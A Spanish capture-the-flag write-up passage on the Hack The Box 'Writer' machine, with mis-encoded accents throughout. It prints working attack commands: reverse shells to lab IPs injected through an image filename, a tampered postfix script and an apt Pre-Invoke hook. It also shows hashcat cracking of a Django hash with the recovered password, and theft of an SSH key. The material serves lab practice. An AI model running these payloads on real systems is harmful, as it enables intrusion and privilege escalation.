Recordemos que el backend lo 煤nico que v谩lida es que lo que sea que pongamos como imagen tenga en su nombre un .jpg, as铆 que en teor铆a deber铆a ser modificado su nombre sin problemas, intentemos el payload para una Reverse Shell, que simplemente env铆a al puerto (en mi caso) 4433 de la direcci贸n IP 10.10.14.157 una bash (/bin/bash), o sea un Shell (:

鉂 echo "bash -i >& /dev/tcp/10.10.14.157/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==
hola.jpg;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==|base64 -d|bash;

La encodeamos en base64 para que viaje sin problemas, el sistema debe decodearda (base64 -d) e interpretarla (bash):

Enviamos la petici贸n (dando clic en Send arriba a la izq) yyyy ahora volvemos a validar en la base de datos:

 python3 plaYsQLi.py --query writer stories id,title,image
[*] Dumpeando id,title,image de writer.stories

...
[+] 2-Autumn Rain-/img/hola.jpg;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==|base64 -d|bash;
...

Perfect铆simo, tenemos nuestro primer paso.

Jugamos con el wrapper file:// para que nuestro payload sea interpretado 鈿欙笍

Lo 煤nico que falta es referenciar esa imagen, en el c贸digo vimos que la imagen es guardada en una ruta especifica:

...
path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)
image.save(path)
...

As铆 que el wrapper quedar铆a as铆:

file:///var/www/writer.htb/writer/static/img/hola.jpg;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNTcvNDQzMyAwPiYxCg==|base64 -d|bash;

Nos ponemos en escucha por el puerto 4433:

鉂 nc -lvp 4433
listening on [any] 4433 ...

Enviamos la petici贸n, la p谩gina parece fallecer, peeeeeeeeero si revisamos nuestro listener:

TAMOOOOOOOS DENTROOOOOOOOOOOOOOOOOOOOOOOOOOOO!! 馃槵 Bruuuutal la intrusi贸n鈥

Les dejo este script que automatiza todo el proceso de edici贸n y obtenci贸n de Shell.

imajection.py

Antes de seguir volvemos nuestra terminal interactiva, as铆 lograremos movernos entre comandos, tener hist贸rico de ellos yyyy ejecutar CTRL+C sin temor a perder la Shell:

Ahora si, a enumerar鈥

DjangognajD: www-data -> kyle #

Si recordamos (esta m谩quina es mucho de recordar cositas anteriores) hab铆amos visto un proyecto llamado writer2_project, ahora lo vemos claramente tooodo:

www-data@writer:/var/www$ ls
html  writer.htb  writer2_project

Recorriendo los archivos encontramos uno con un nombre llamativo, 驴cu谩l es?

www-data@writer:/var/www/writer2_project/writerv2$ ls
__init__.py  __pycache__  settings.py  urls.py  wsgi.py

Si lo inspeccionamos con los ojos bien abiertos tenemos este conjunto de l铆neas casi al final:

...
DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',
        'OPTIONS': {
            'read_default_file': '/etc/mysql/my.cnf',
        },
    }
}
...

Un archivo de configuraci贸n de mysql, por curiosidad echamos un ojo sobre 茅l yyyyyyyyyyy:

www-data@writer:/var/www/writer2_project/writerv2$ cat /etc/mysql/my.cnf

OPA, unas credenciales para una base de datos distinta a las que ten铆amos, prob茅moslas:

Son v谩lidas, pues demos vueltas por ah铆, quiz谩s haya algo interesante y 煤til鈥

MariaDB [dev]> show tables;
+----------------------------+
| Tables_in_dev              |
+----------------------------+
| auth_group                 |
| auth_group_permissions     |
| auth_permission            |
| auth_user                  |
| auth_user_groups           |
| auth_user_user_permissions |
| django_admin_log           |
| django_content_type        |
| django_migrations          |
| django_session             |
+----------------------------+

La tabla auth_user esta llamativa, veamos su contenido:

Un usuario y contrase帽a (hash) del usuario kyle, algo curioso es que kyle tambi茅n es un usuario del sistema (se acuerdan que lo vimos cuando obtuvimos el contenido de /etc/passwd):

www-data@writer:/var/www/writer2_project/writerv2$ ls /home
john  kyle

Se vuelve muuuuy interesante esto, intentemos crackear ese hash鈥 Veamos que tipo es:

Buscamos por hashes que empiecen con pbkdf2_sha yyy uno de los resultados concuerda con todo lo encontrado antes:

Un hash de Django (framework para desarrollo web), pues a crackeowowowo:

Lo tomamos y guardamos en un archivo, yo lo llamar茅 django_hash.kyle, con JohnTheRipper no logramos siquiera que tome el hash como -hash-, as铆 que usaremos hashcat, le debemos pasar el tipo de hash (hashcat lo referencia con el ID, ya vimos que es 10000), el archivo con el hash, un wordlist (para validar cu谩l palabra hace match con ese hash) y adicional una vez (si es que lo hace) crackee el hash, guarde su resultado en un objeto llamado cracked.txt:

鉂 hashcat -m 10000 django_hash.kyle /usr/share/wordlists/rockyou.txt -o cracked.txt

Ejecutamos yyyyyyy pasado un buen rato (recuerden no desesperarse) el hash es crackeadooooooooooooooooooooooooo:

...
Session..........: hashcat
Status...........: Cracked
Hash.Name........: Django (PBKDF2-SHA256)
Hash.Target......: pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8...uXM4A=
Time.Started.....: Sat Oct  9 25:36:39 2021 (11 mins, 57 secs)
Time.Estimated...: Sat Oct  9 25:48:36 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       13 H/s (20.96ms) @ Accel:32 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 9408/14344385 (0.07%)
Rejected.........: 0/9408 (0.00%)
Restore.Point....: 9376/14344385 (0.07%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:259072-259999
Candidates.#1....: missing -> 120287
...
鉂 cat cracked.txt 
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=:marcoantonio

El hash da como resultado en texto plano a marcoantonio, con lo cual esa ser铆a su contrase帽a para el aplicativo web con Django, peeeeero 驴podr铆a ser para otro servicio? 驴Quiz谩s para el sistema? Probemos reutilizaci贸n de contrase帽as:

Y s铆, obtenemos la Shell como kyle (: Aprovechemos que contamos con SSH para entablar una Shell ah铆 y seguir nuestro camino caminando:

鉂 ssh kyle@10.10.11.101

Avisos legales : kyle -> john #

Estando dentro de primeras vemos algo interesante en los grupos donde esta kyle:

kyle@writer:~$ id
uid=1000(kyle) gid=1000(kyle) groups=1000(kyle),997(filter),1002(smbgroup)

Hay dos grupos llamativos: filter y smbgroup, exploremos primero filter. Busquemos si hay objetos en tooooooodo el sistema que sean creados o permitan el acceso a usuarios con ese grupo:

kyle@writer:~$ find / -group filter -ls 2>/dev/null
    16282      4 -rwxrwxr-x   1 root     filter       1021 Oct 14 15:22 /etc/postfix/disclaimer
    16281      4 drwxr-x---   2 filter   filter       4096 May 13 22:31 /var/spool/filter

Bien, hay dos, inspeccionemos:

馃П /var/spool/filter

kyle@writer:~$ cat /var/spool/filter
cat: /var/spool/filter/: Is a directory
kyle@writer:~$ ls -la /var/spool/filter
total 8
drwxr-x--- 2 filter filter 4096 May 13 22:31 .
drwxr-xr-x 7 root   root   4096 May 18 16:54 ..

Nada por aqu铆鈥

馃П /etc/postfix/disclaimer

Este hace referencia a Postfix que es un servidor de correo de software libre.

kyle@writer:~$ cat /etc/postfix/disclaimer
#!/bin/sh
# Localize these.
INSPECT_DIR=/var/spool/filter
SENDMAIL=/usr/sbin/sendmail

# Get disclaimer addresses
DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses

# Exit codes from <sysexits.h>
EX_TEMPFAIL=75
EX_UNAVAILABLE=69

# Clean up when done or when aborting.
trap "rm -f in.$$" 0 1 2 3 15

# Start processing.
cd $INSPECT_DIR || { echo $INSPECT_DIR does not exist; exit
$EX_TEMPFAIL; }

cat >in.$$ || { echo Cannot save mail to file; exit $EX_TEMPFAIL; }

# obtain From address
from_address=`grep -m 1 "From:" in.$$ | cut -d "<" -f 2 | cut -d ">" -f 1`

if [ `grep -wi ^${from_address}$ ${DISCLAIMER_ADDRESSES}` ]; then
  /usr/bin/altermime --input=in.$$ \
                   --disclaimer=/etc/postfix/disclaimer.txt \
                   --disclaimer-html=/etc/postfix/disclaimer.txt \
                   --xheader="X-Copyrighted-Material: Please visit http://www.company.com/privacy.htm" || \
                    { echo Message content rejected; exit $EX_UNAVAILABLE; }
fi

$SENDMAIL "$@" <in.$$

exit $?

Ojito, un script en bash que automatiza el env铆o de avisos legales (disclaimers) a los mails que sean remitidos desde alguna de las direcciones ac谩 listadas:

DISCLAIMER_ADDRESSES=/etc/postfix/disclaimer_addresses
kyle@writer:/etc/postfix$ cat /etc/postfix/disclaimer_addresses
root@writer.htb
kyle@writer.htb

Bien, uno de ellos es kyle, as铆 que los correos enviados ya sean desde root@writer.htb o kyle@writer.htb se les a帽adir谩 el disclaimer鈥

Pero claro, para poder jugar con esto necesitamos un servidor SMTP activo, validemos si existe:

kyle@writer:/etc/postfix$ netstat -l
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
...
tcp        0      0 localhost:smtp          0.0.0.0:*               LISTEN
...

Perfecto, la idea es que si cada vez que se env铆a un correo, por ejemplo a kyle, ira a ese binario, lo ejecutara y agregara el disclaimer, pues podemos simplemente pensar en agregar una l铆nea -maliciosa- que en teor铆a deber铆a ser ejecutada 驴no?

Peeeeero claro, si logramos ejecuci贸n de comandos, como quien lo har铆amos 驴c贸mo kyle? En ese caso no nos servir铆a de nada, ya que actualmente somos kyle :( Si nos movemos a /etc/postfix tenemos varios objetos:

Recorriendo algunos, caemos en master.cf y una l铆nea final baaaastante llamativa:

kyle@writer:/etc/postfix$ cat master.cf
...
  flags=Rq user=john argv=/etc/postfix/disclaimer -f ${sender} -- ${recipient}

Vemos el binario y un usuario llamado john, queeeeeeeeeee curiosamente tambi茅n es uno del sistema. 驴Ser谩 que john es el que ejecuta el disclaimer? Por lo que 茅l ser铆a el que ejecutar铆a nuestro comando malicioso鈥 Esa teor铆a nos la confirma este post:

Que tooooooodo el proceso es exactamente igual, lo unico que cambia es el usuario.

As铆 que ahora si intentemos cositas, modifiquemos el archivo para que una vez sea ejecutado nos env铆e (a un puerto donde estaremos escuchando) el id del usuario que ejecuta el disclaimer (deber铆a ser john), el objeto quedar铆a as铆:

La IP me cambio por un problema que tuve con la VPN :P

kyle@writer:/etc/postfix$ cat disclaimer
#!/bin/sh
...
id | nc 10.10.14.6 4433
...

El archivo es regenerado cada 2 minutos, as铆 que hay que correeeeeeer (o automatizar todo (tarea pa la casita))

Sencillito, ahora pong谩monos en escucha sobre ese puerto en nuestra m谩quina: nc -lvp 4433.

Y solo nos quedar铆a enviar el mail, usar茅 telnet:

Al parecer no funciona, peeeeeeeeeero si esperamos unos segundoooooooooooooooooooos:

Peee eee eeerrrr feccctooooo, tenemos ejecuci贸n remota de comandos como el usuario john, obtengamos una Shell:

鉂 echo "bash -i >& /dev/tcp/10.10.14.6/4433 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MzMgMD4mMQo=
kyle@writer:/etc/postfix$ cat disclaimer
#!/bin/sh
...
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42LzQ0MzMgMD4mMQo= | base64 -d | bash
...
鉂 nc -lvp 4433
listening on [any] 4433 ...
kyle@writer:/etc/postfix$ telnet localhost smtp
...
# Enviamos mail

Yyyyyyyyyyyyyyy:

Si si si, tamos como el usuario john dentro del sistemaaaaaaaaaa (: Hagamos tratamiento del TTY y veamos con que nos encontramos ahora鈥

Recorriendo el directorio /home/john tenemos la carpeta .ssh y dentro su llave privada (id_rsa):

john@writer:/home/john/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub

Pues recordemos que una llave privada es como una contrase帽a, as铆 que tom茅mosla, nos la llevamos a nuestro sistema, le damos los permisos necesarios (chmod 600 <file>) e intentamos obtener una Shell por SSH como john:

鉂 ssh john@10.10.11.101 -i john.rsa

Y efectivamente, obtenemos una Shell (:

Escalada de privilegios #

Revisando los grupos en los que esta john notamos uno claramente distinto y llamativo:

john@writer:~$ id
uid=1001(john) gid=1001(john) groups=1001(john),1003(management)

Pues volvemos a hacer lo que hicimos con kyle, busquemos objetos relacionados con ese grupo:

john@writer:~$ find / -group management 2>/dev/null
/etc/apt/apt.conf.d

Una carpeta (parece), validemos:

john@writer:~$ cat /etc/apt/apt.conf.d
cat: /etc/apt/apt.conf.d: Is a directory
john@writer:~$ ls -la /etc/apt/apt.conf.d
total 48
drwxrwxr-x 2 root management 4096 Oct 14 16:56 .
drwxr-xr-x 7 root root       4096 Jul  9 10:59 ..
-rw-r--r-- 1 root root        630 Apr  9  2020 01autoremove
-rw-r--r-- 1 root root         92 Apr  9  2020 01-vendor-ubuntu
-rw-r--r-- 1 root root        129 Dec  4  2020 10periodic
-rw-r--r-- 1 root root        108 Dec  4  2020 15update-stamp
-rw-r--r-- 1 root root         85 Dec  4  2020 20archive
-rw-r--r-- 1 root root       1040 Sep 23  2020 20packagekit
-rw-r--r-- 1 root root        114 Nov 19  2020 20snapd.conf
-rw-r--r-- 1 root root        625 Oct  7  2019 50command-not-found
-rw-r--r-- 1 root root        182 Aug  3  2019 70debconf
-rw-r--r-- 1 root root        305 Dec  4  2020 99update-notifier

Jmmm, una b煤squeda r谩pida del nombre del directorio por internet nos lleva a esta respuesta de este hilo:

馃敡 Each directory represents a configuration file which is split over multiple files. In this sense, all of the files in /etc/apt/apt.conf.d/ are instructions for the configuration of APT. APT includes them in alphabetical order, so that the last ones can modify a configuration element defined in one of the first ones.. /etc/apt/apt.conf.d/

Yyyy 驴qu茅 es APT?

馃巵 Advanced Packaging Tool (APT): Programa de gesti贸n de paquetes creado por el proyecto Debian. APT simplifica en gran medida la instalaci贸n y eliminaci贸n de programas en los sistemas GNU/Linux. Advanced Package Tool (APT)

Lo usamos cuando hacemos apt-get install ... o apt update y muuuchas m谩s opciones, pero para que sepan de qu茅 hablamos.

Liiiisto, ya sabiendo que es eso, nos queda saber el porqu茅 tenemos acceso a esos archivos de configuraci贸n. Algo que encontramos en internet es que (como dije antes) todas las configuraciones son 鈥渋nstaladas鈥 o 鈥渆jecutadas鈥 al usar el comando apt o apt-get o apt.., podr铆amos pensar en generar una configuraci贸n maliciosa para posteriormente ejecutar apt..., pero claro, no tenemos permisos suficientes para usar esas herramientas :/

PEEEEEEEEERO podemos pensar que alg煤n administrador en alg煤n momento va a ejecutar apt-get ... o apt update para instalar paquetes o actualizarlos, lo que 茅l no sabr铆a es que nosotros tendr铆amos una configuraci贸n maliciosa esperando a ser ejecutada 馃サ

Lo m谩s seguro es que por ac谩 sea la manera de elevar privilegios.

Como personitas que jugamos en entornos simulados, no podemos esperar a que realmente un admin ejecute apt-get ... o apt update, tenemos que pensar en ello como tareas programadas que ha dejado el creador de la m谩quina simulando que las hace un admin. Si queremos validar si existe esa tarea programada podemos apoyarnos de pspy, ya que 茅l monitorea en el sistema distintos procesos que se est茅n llevando a cabo sea el usuario que sea.

Lo descargamos, lo subimos a la m谩quina y ejecutamos:

john@writer:/tmp/tset$ chmod +x pspy 
john@writer:/tmp/tset$ ./pspy

En su ejecuci贸n vemos muuuuchas de las tareas con las que hemos interactuado, pero prestando atenci贸n vemos esto:

(Recuerden, buscamos procesos llevados a cabo por el usuario root, 茅l tiene el UID (User ID) 0)

Y s铆, ah铆 vemos la ejecuci贸n por parte de root en la instrucci贸n, peeeeeeero si analizamos un poco el output, vemos que probablemente debamos ser r谩pidos, 驴ya vieron por qu茅?

Antes de ejecutar el:

/usr/bin/apt-get update

Borra todo lo que se ha creado en las 煤ltimas 24 horas (-mtime), as铆 que si creamos nuestro objeto de configuraci贸n, claramente ser谩 borrado, esto lo podemos bypassear haciendo un bucle, donde en cada segundo cree el archivo de configuraci贸n, entonces el find llegara a borrarlo peeeeero inmediatamente el bucle lo creara y apt-get update lo e j e c u t a r 谩 (:

As铆铆铆铆铆铆 queeeeeeeee, busquemos en internet como jugar realmente con estoooooooooaosoOOoasdjflkajsdl帽kgjlakhs

En ese post hay varias maneras, pero la que nos sirve a nosotros es la que explota una tarea cron (que eso es lo que tenemos nosotros, una tarea programada), la explotaci贸n es muuuuuuuy sencilla, 煤nicamente creamos un archivo de configuraci贸n que tenga el comando a ejecutar, b谩sicamente una l铆nea (:

Por ejemplo usando la propia del post (que es para obtener una reverse shell con nc viejito) el archivo se llamar铆a pwn y contendr铆a:

echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.6 4433 >/tmp/f"};' > pwn

Pues cre茅moslo, nos ponemos en escucha por el puerto 4433 y esperamos a que la tarea cron sea ejecutada, borrara el objeto pwn, peeeero con ayuda de nuestro bucle lo volver谩 a crear y posteriormente el sistema actualizara los paquetes, llegando as铆 al nuestro (:

john@writer:/etc/apt/apt.conf.d$ while true; do echo 'apt::Update::Pre-Invoke {"rm ... payload ... /tmp/f"};' > pwn; sleep 1; done

Esperamos un rato yyyyyyyyyyyyyyy:

YYYYY TAMOSSS DENTROOO COMO ROOOOOOOOT (: Veamos las flags鈥

Una m谩quina bastante interesante, la intrusi贸n con el LFI mediante un SQLi, fue mooooooy brutal. La parte de APT tambi茅n da mucho que pensar (que miedito).

Writeup realmente largo, pero que me divert铆 bastante al hacer. Espero les haya ayudado en algo y como siempre鈥 隆A seguir rompiendo deeeeee todoooooooo!

Comments

comments powered by Disqus